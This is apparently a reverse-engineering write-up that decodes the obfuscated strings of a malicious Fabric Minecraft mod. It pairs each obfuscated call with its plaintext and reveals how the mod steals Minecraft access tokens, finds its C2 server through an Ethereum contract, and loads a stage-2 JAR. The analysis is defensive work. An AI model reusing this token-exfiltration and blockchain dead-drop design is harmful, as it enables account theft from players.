Skip to content

Latest commit

 

History

History
528 lines (463 loc) · 19.7 KB

File metadata and controls

528 lines (463 loc) · 19.7 KB

Helper.load() String Mappings

Every obfuscated Helper.load(int[] d1, int[] d2, 187, 67) call in the stage1-fabricmc-mod/ source mapped to its decoded plaintext string, determined by cross-referencing the equivalent line/context in the stage1-fabricmc-mod-deobfuscated/ source.

All calls use constants k1=187, k2=67.


ExampleMod.java → ModMain.java

Line 24 — JSON property key for execution environment

// Obfuscated (ExampleMod.java:24)
context.addProperty(
    Helper.load(new int[]{168, 161, 38, 217, 5, 165, 84, 216, 91, 143}, new int[]{226, 169, 104, 195, 208, 243, 244, 51, 106, 33}, 187, 67),
    ...
);
// Deobfuscated (ModMain.java:21)
context.addProperty("executionEnvironment", ...);
File ExampleMod.java
Line 24
Context First arg to context.addProperty(...)
Decoded executionEnvironment

Line 25 — JSON property value for execution environment

// Obfuscated (ExampleMod.java:25)
Helper.load(new int[]{160, 194, 150}, new int[]{173, 55, 132}, 187, 67)
// Deobfuscated (ModMain.java:21)
"Fabric"
File ExampleMod.java
Line 25
Context Second arg to context.addProperty(...) — value
Decoded Fabric

Line 40 — JSON key "username"

// Obfuscated (ExampleMod.java:40)
mci.addProperty(Helper.load(new int[]{45, 73, 205, 44}, new int[]{10, 188, 117, 185}, 187, 67), ses.getUsername());
// Deobfuscated (ModMain.java:35)
mci.addProperty("username", ses.getUsername());
File ExampleMod.java
Line 40
Context JSON key for Minecraft username
Decoded username

Line 44 / 46 — JSON key "uuid" (used twice)

// Obfuscated (ExampleMod.java:44, 46)
mci.addProperty(Helper.load(new int[]{45, 25}, new int[]{196, 148}, 187, 67), ...);
// Deobfuscated (ModMain.java:39, 41)
mci.addProperty("uuid", ...);
File ExampleMod.java
Lines 44, 46
Context JSON key for Minecraft UUID
Decoded uuid

Line 49 — JSON key "accessToken"

// Obfuscated (ExampleMod.java:49)
mci.addProperty(Helper.load(new int[]{14, 111, 253, 85, 244, 180}, new int[]{121, 13, 234, 79, 193}, 187, 67), ses.getAccessToken());
// Deobfuscated (ModMain.java:44)
mci.addProperty("accessToken", ses.getAccessToken());
File ExampleMod.java
Line 49
Context JSON key for Minecraft access token
Decoded accessToken

Line 50 — JSON key "minecraftInfo"

// Obfuscated (ExampleMod.java:50)
context.add(Helper.load(new int[]{237, 118, 140, 134, 215, 11, 20}, new int[]{136, 20, 230, 100, 126, 156}, 187, 67), mci);
// Deobfuscated (ModMain.java:45)
context.add("minecraftInfo", mci);
File ExampleMod.java
Line 50
Context JSON key for the nested Minecraft info object
Decoded minecraftInfo

Lines 53–58 — Ethereum contract address

// Obfuscated (ExampleMod.java:53-58)
rpc.getVerifiedText(
    Helper.load(
        new int[]{48, 172, 110, 3, 217, 94, 220, 121, 247, 189, 58, 15, 126, 192, 123, 218, 239, 212, 19, 238, 217},
        new int[]{122, 90, 99, 104, 40, 26, 43, 1, 168, 185, 242, 44, 141, 38, 89, 130, 173, 226, 38, 5, 83},
        187, 67
    )
)
// Deobfuscated (ModMain.java:47)
rpc.getVerifiedText("0x1280a841Fbc1F883365d3C83122260E0b2995B74")
File ExampleMod.java
Lines 53–58
Context Arg to rpc.getVerifiedText() — Ethereum contract address
Decoded 0x1280a841Fbc1F883365d3C83122260E0b2995B74

Line 60 — Credential exfiltration URL path

// Obfuscated (ExampleMod.java:60)
+ Helper.load(new int[]{184, 141, 104, 41, 51, 212, 44, 129, 119, 169, 54}, new int[]{181, 158, 33, 91, 23, 211, 191, 18, 17, 105}, 187, 67);
// Deobfuscated (ModMain.java:47)
+ "/api/delivery/handler"
File ExampleMod.java
Line 60
Context URL path appended to C2 domain for credential POST
Decoded /api/delivery/handler

Lines 89–92 — Repeated JSON keys in payload construction

These are identical Helper.load() calls as lines 40, 44, 49, 50, reused when building the HTTP POST payload.

Line Same as Decoded
89 Line 40 username
90 Line 44 uuid
91 Line 49 accessToken
92 Line 50 minecraftInfo

Entrypoint.java → Main.java

Line 11 — JSON key "executionEnvironment"

// Obfuscated (Entrypoint.java:11)
Helper.load(new int[]{168, 161, 38, 217, 5, 165, 84, 216, 91, 143}, new int[]{226, 169, 104, 195, 208, 243, 244, 51, 106, 33}, 187, 67),
// Deobfuscated (Main.java:12)
"executionEnvironment",
File Entrypoint.java
Line 11
Context Same key as ExampleMod.java:24
Decoded executionEnvironment

Line 12 — JSON value "Fabric"

// Obfuscated (Entrypoint.java:12)
Helper.load(new int[]{211, 113, 96, 217, 195, 158}, new int[]{40, 70, 149, 171, 8}, 187, 67)
// Deobfuscated (Main.java:13)
"Fabric"
File Entrypoint.java
Line 12
Context Value — note different int arrays than ExampleMod.java:25 but same decoded result
Decoded Fabric

Helper.java → StageTwoLoader.java

Lines 49–54 — Ethereum contract address

// Obfuscated (Helper.java:49-54)
load(
    new int[]{48, 172, 110, 3, 217, 94, 220, 121, 247, 189, 58, 15, 126, 192, 123, 218, 239, 212, 19, 238, 217},
    new int[]{122, 90, 99, 104, 40, 26, 43, 1, 168, 185, 242, 44, 141, 38, 89, 130, 173, 226, 38, 5, 83},
    187, 67
)
// Deobfuscated (StageTwoLoader.java:48)
"0x1280a841Fbc1F883365d3C83122260E0b2995B74"
File Helper.java
Lines 49–54
Context Ethereum contract address passed to rpc.getVerifiedText()
Decoded 0x1280a841Fbc1F883365d3C83122260E0b2995B74

Line 56 — Stage 2 JAR download URL path

// Obfuscated (Helper.java:56)
+ load(new int[]{184, 189, 228, 247, 29, 89, 97, 158, 228}, new int[]{96, 83, 243, 54, 77, 233, 110, 207}, 187, 67);
// Deobfuscated (StageTwoLoader.java:48)
+ "/files/jar/module"
File Helper.java
Line 56
Context URL path appended to C2 domain for Stage 2 JAR download
Decoded /files/jar/module

Line 110 — Stage 2 main class name

// Obfuscated (Helper.java:110)
mC = loader.loadClass(load(new int[]{214, 16, 221, 23, 91, 117, 125, 184, 116}, new int[]{239, 86, 101, 157, 82, 126, 65, 17}, 187, 67));
// Deobfuscated (StageTwoLoader.java:102)
mainClass = loader.loadClass("dev.majanito.Main");
File Helper.java
Line 110
Context Class name loaded from downloaded Stage 2 JAR
Decoded dev.majanito.Main

Line 128 — Stage 2 entry method name

// Obfuscated (Helper.java:128)
mC.getMethod(
    load(new int[]{75, 166, 75, 29, 75, 121, 250, 203, 135}, new int[]{123, 234, 243, 169, 126, 107, 245, 88, 144}, 187, 67),
    String.class
)
// Deobfuscated (StageTwoLoader.java:119)
mainClass.getMethod("initializeWeedhack", String.class)
File Helper.java
Line 128
Context Method name reflectively invoked on Stage 2 instance
Decoded initializeWeedhack

FabricAdapter.java → RPCHelper.java

CLIENTS array — Ethereum RPC endpoint URLs (lines 16–336)

The CLIENTS string array in FabricAdapter.java (lines 15–336) maps to the plaintext array in RPCHelper.java (lines 15–48). Each Helper.load() call decodes to a public Ethereum JSON-RPC URL.

FabricAdapter.java Line Index Decoded String
16 0 https://eth.llamarpc.com
17–22 1 https://eth.api.onfinality.io/public
23–25 2 https://rpc.eth.gateway.fm
26–31 3 https://ethereum-rpc.publicnode.com
32–37 4 https://eth.rpc.blxrbdn.com
38–43 5 https://ethereum.rpc.subquery.network/public
44–49 6 https://ethereum-json-rpc.stakely.io
50–55 7 https://ethereum-public.nodies.app
56–61 8 https://core.gashawk.io/rpc
62–67 9 https://mainnet.gateway.tenderly.co
68–73 10 https://ethereum-mainnet.gateway.tatum.io
74 11 https://eth1.lava.build
75 12 https://eth.meowrpc.com
76–81 13 https://public-eth.nownodes.io
82–87 14 https://rpc.mevblocker.io/fast
88–93 15 https://rpc.mevblocker.io/noreverts
94–99 16 https://rpc.mevblocker.io/fullprivacy
100–174 17 https://eth-mainnet.nodereal.io/v1/1659dfb40aa24bbb8153a677b98064d7
175–180 18 https://eth-mainnet.public.blastapi.io
181–186 19 https://ethereum.public.blockpi.network/v1/rpc/public
187–298 20 https://eth-mainnet.rpcfast.com?api_key=xbhWBI1Wkguk8SNMu1bvvLurPGLXmgwYeC4S6g2H7WdwFigZSmPWVZRxrskEQwIf
299 21 https://eth.drpc.org
300–302 22 https://eth.blockrazor.xyz
303–308 23 https://rpc.flashbots.net/fast
309–314 24 https://gateway.tenderly.co/public/mainnet
315–317 25 https://rpc.flashbots.net
318 26 https://rpc.fullsend.to
319 27 https://eth.merkle.io
320–325 28 https://api.zan.top/eth-mainnet
326–328 29 https://rpc.mevblocker.io
329–334 30 https://endpoints.omniatech.io/v1/eth/mainnet/public
335 31 https://1rpc.io/eth

Line 337 — MAGIC_STRING (Ethereum function selector)

// Obfuscated (FabricAdapter.java:337)
private static final String MAGIC_STRING = Helper.load(new int[]{48, 108, 27, 44, 148}, new int[]{122, 14, 82, 162, 161}, 187, 67);
// Deobfuscated (RPCHelper.java:49)
private static final String MAGIC_STRING = "0xce6d41de";
File FabricAdapter.java
Line 337
Context MAGIC_STRING — Ethereum eth_call function selector (4 bytes)
Decoded 0xce6d41de

Lines 338–737 — RSA_PUBLIC_KEY (Base64-encoded RSA-2048 public key)

// Obfuscated (FabricAdapter.java:338-737)
private static final String RSA_PUBLIC_KEY = Helper.load(new int[]{234, 230, 163, ...}, new int[]{47, 82, 76, ...}, 187, 67);
// Deobfuscated (RPCHelper.java:50)
private static final String RSA_PUBLIC_KEY = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...QIDAQAB";
File FabricAdapter.java
Lines 338–737
Context RSA_PUBLIC_KEY — Base64-encoded RSA-2048 public key used to verify C2 domain signature
Decoded MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtmNzDf4737/iYWvscWg6vQg9dHa/yUchfQY9r5htNTLZ3ZDAbqrzN93I0ctZHa27oRnkpB7XpowI4NH8eIRmaMThggpTYRXzHzLvUjhyrFFPkIOo/HI1gZF5IV7/XmvYWqgEsSpxl0iesOUlaWO5A8QlTu0QLsZAzZtzZyLj/v1XbPT02rTvZkuRhE6nzpUR4GN3Jp4Bn8zQAWdFDe17PWZxOi19uUTMPzgFj9n3h7DprwBmE3fR7IMsbiFacAoSHfqkTpEwY7A8ArK1DQ1yJXPog/PQ4aTU9gU38WC20wtct796ImZiuRYdNWcSzHda5ZbvZdvpw6RHh0zQqGVhRQIDAQAB

Lines 762–857 — JSON-RPC request template

// Obfuscated (FabricAdapter.java:762-857)
String template = Helper.load(new int[]{158, 150, 138, 37, ...}, new int[]{242, 92, 167, 116, ...}, 187, 67);
// Deobfuscated (RPCHelper.java:75)
String template = "{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"%s\",\"data\":\"%s\"},\"latest\"],\"id\":1}";
File FabricAdapter.java
Lines 762–857
Context template variable in callGetText() — Ethereum JSON-RPC request body
Decoded {"jsonrpc":"2.0","method":"eth_call","params":[{"to":"%s","data":"%s"},"latest"],"id":1}

Line 862 — HTTP header name "Content-Type"

// Obfuscated (FabricAdapter.java:862)
.header(Helper.load(new int[]{216, 221, 38, 245, 236, 20}, new int[]{35, 145, 11, 90, 181, 6}, 187, 67), ...)
// Deobfuscated (RPCHelper.java:79)
.header("Content-Type", ...)
File FabricAdapter.java
Line 862
Context HTTP header name
Decoded Content-Type

Line 863 — HTTP header value "application/json"

// Obfuscated (FabricAdapter.java:863)
Helper.load(new int[]{14, 196, 139, 249, 205, 255, 248, 137}, new int[]{252, 42, 153, 165, 138, 245, 165, 98}, 187, 67)
// Deobfuscated (RPCHelper.java:79)
"application/json"
File FabricAdapter.java
Line 863
Context HTTP header value
Decoded application/json

Line 869 — JSON response search string "result":"

// Obfuscated (FabricAdapter.java:869)
int start = body.indexOf(Helper.load(new int[]{7, 24, 93, 96, 71}, new int[]{91, 210, 158, 167, 7}, 187, 67));
// Deobfuscated (RPCHelper.java:84)
int start = body.indexOf("\"result\":\"");
File FabricAdapter.java
Line 869
Context Search string to find the result field in RPC JSON response
Decoded "result":"

Line 871 — Exception message

// Obfuscated (FabricAdapter.java:871)
throw new Exception(Helper.load(new int[]{229, 36, 102, 24, 217}, new int[]{30, 209, 113, 106, 153}, 187, 67));
// Deobfuscated (RPCHelper.java:86)
throw new Exception("No result\"");
File FabricAdapter.java
Line 871
Context Exception thrown when RPC response has no result field
Decoded No result"

Line 880 — Hex prefix "0x"

// Obfuscated (FabricAdapter.java:880)
String data = hexData.startsWith(Helper.load(new int[]{48}, new int[]{122}, 187, 67)) ? hexData.substring(2) : hexData;
// Deobfuscated (RPCHelper.java:95)
String data = hexData.startsWith("0x") ? hexData.substring(2) : hexData;
File FabricAdapter.java
Line 880
Context Hex prefix check for ABI-encoded RPC return data
Decoded 0x

Line 905 — KeyFactory algorithm "RSA"

// Obfuscated (FabricAdapter.java:905)
KeyFactory.getInstance(Helper.load(new int[]{132, 215}, new int[]{3}, 187, 67))
// Deobfuscated (RPCHelper.java:120)
KeyFactory.getInstance("RSA")
File FabricAdapter.java
Line 905
Context Cryptographic algorithm for key factory
Decoded RSA

Line 906 — Signature algorithm "SHA256withRSA"

// Obfuscated (FabricAdapter.java:906)
Signature.getInstance(Helper.load(new int[]{93, 115, 42, 29, 26, 222, 44}, new int[]{167, 133, 137, 169, 36, 135}, 187, 67))
// Deobfuscated (RPCHelper.java:121)
Signature.getInstance("SHA256withRSA")
File FabricAdapter.java
Line 906
Context Signature verification algorithm
Decoded SHA256withRSA

Summary Table

All unique decoded strings across the entire obfuscated codebase:

# Decoded String Files & Lines (obfuscated) Usage
1 executionEnvironment ExampleMod.java:24, Entrypoint.java:11 JSON key
2 Fabric ExampleMod.java:25, Entrypoint.java:12 JSON value
3 username ExampleMod.java:40,89 JSON key — Minecraft username
4 uuid ExampleMod.java:44,46,90 JSON key — Minecraft UUID
5 accessToken ExampleMod.java:49,91 JSON key — Minecraft access token
6 minecraftInfo ExampleMod.java:50,92 JSON key — nested MC info object
7 0x1280a841Fbc1F883365d3C83122260E0b2995B74 ExampleMod.java:53–58, Helper.java:49–54 Ethereum contract address
8 /api/delivery/handler ExampleMod.java:60 C2 credential exfil URL path
9 /files/jar/module Helper.java:56 C2 Stage 2 download URL path
10 dev.majanito.Main Helper.java:110 Stage 2 class name
11 initializeWeedhack Helper.java:128 Stage 2 method name
12 https://eth.llamarpc.com FabricAdapter.java:16 RPC endpoint [0]
13 https://eth.api.onfinality.io/public FabricAdapter.java:17–22 RPC endpoint [1]
14 https://rpc.eth.gateway.fm FabricAdapter.java:23–25 RPC endpoint [2]
15 https://ethereum-rpc.publicnode.com FabricAdapter.java:26–31 RPC endpoint [3]
16 https://eth.rpc.blxrbdn.com FabricAdapter.java:32–37 RPC endpoint [4]
17 https://ethereum.rpc.subquery.network/public FabricAdapter.java:38–43 RPC endpoint [5]
18 https://ethereum-json-rpc.stakely.io FabricAdapter.java:44–49 RPC endpoint [6]
19 https://ethereum-public.nodies.app FabricAdapter.java:50–55 RPC endpoint [7]
20 https://core.gashawk.io/rpc FabricAdapter.java:56–61 RPC endpoint [8]
21 https://mainnet.gateway.tenderly.co FabricAdapter.java:62–67 RPC endpoint [9]
22 https://ethereum-mainnet.gateway.tatum.io FabricAdapter.java:68–73 RPC endpoint [10]
23 https://eth1.lava.build FabricAdapter.java:74 RPC endpoint [11]
24 https://eth.meowrpc.com FabricAdapter.java:75 RPC endpoint [12]
25 https://public-eth.nownodes.io FabricAdapter.java:76–81 RPC endpoint [13]
26 https://rpc.mevblocker.io/fast FabricAdapter.java:82–87 RPC endpoint [14]
27 https://rpc.mevblocker.io/noreverts FabricAdapter.java:88–93 RPC endpoint [15]
28 https://rpc.mevblocker.io/fullprivacy FabricAdapter.java:94–99 RPC endpoint [16]
29 https://eth-mainnet.nodereal.io/v1/1659dfb40aa24bbb8153a677b98064d7 FabricAdapter.java:100–174 RPC endpoint [17]
30 https://eth-mainnet.public.blastapi.io FabricAdapter.java:175–180 RPC endpoint [18]
31 https://ethereum.public.blockpi.network/v1/rpc/public FabricAdapter.java:181–186 RPC endpoint [19]
32 https://eth-mainnet.rpcfast.com?api_key=xbhWBI1Wkguk8SNMu1bvvLurPGLXmgwYeC4S6g2H7WdwFigZSmPWVZRxrskEQwIf FabricAdapter.java:187–298 RPC endpoint [20]
33 https://eth.drpc.org FabricAdapter.java:299 RPC endpoint [21]
34 https://eth.blockrazor.xyz FabricAdapter.java:300–302 RPC endpoint [22]
35 https://rpc.flashbots.net/fast FabricAdapter.java:303–308 RPC endpoint [23]
36 https://gateway.tenderly.co/public/mainnet FabricAdapter.java:309–314 RPC endpoint [24]
37 https://rpc.flashbots.net FabricAdapter.java:315–317 RPC endpoint [25]
38 https://rpc.fullsend.to FabricAdapter.java:318 RPC endpoint [26]
39 https://eth.merkle.io FabricAdapter.java:319 RPC endpoint [27]
40 https://api.zan.top/eth-mainnet FabricAdapter.java:320–325 RPC endpoint [28]
41 https://rpc.mevblocker.io FabricAdapter.java:326–328 RPC endpoint [29]
42 https://endpoints.omniatech.io/v1/eth/mainnet/public FabricAdapter.java:329–334 RPC endpoint [30]
43 https://1rpc.io/eth FabricAdapter.java:335 RPC endpoint [31]
44 0xce6d41de FabricAdapter.java:337 Ethereum function selector
45 MIIBIjANBgkqhkiG9w0BAQE...QIDAQAB FabricAdapter.java:338–737 RSA-2048 public key (Base64)
46 {"jsonrpc":"2.0","method":"eth_call","params":[{"to":"%s","data":"%s"},"latest"],"id":1} FabricAdapter.java:762–857 JSON-RPC request template
47 Content-Type FabricAdapter.java:862 HTTP header name
48 application/json FabricAdapter.java:863 HTTP header value
49 "result":" FabricAdapter.java:869 JSON response parser search string
50 No result" FabricAdapter.java:871 Exception message
51 0x FabricAdapter.java:880 Hex prefix
52 RSA FabricAdapter.java:905 KeyFactory algorithm
53 SHA256withRSA FabricAdapter.java:906 Signature algorithm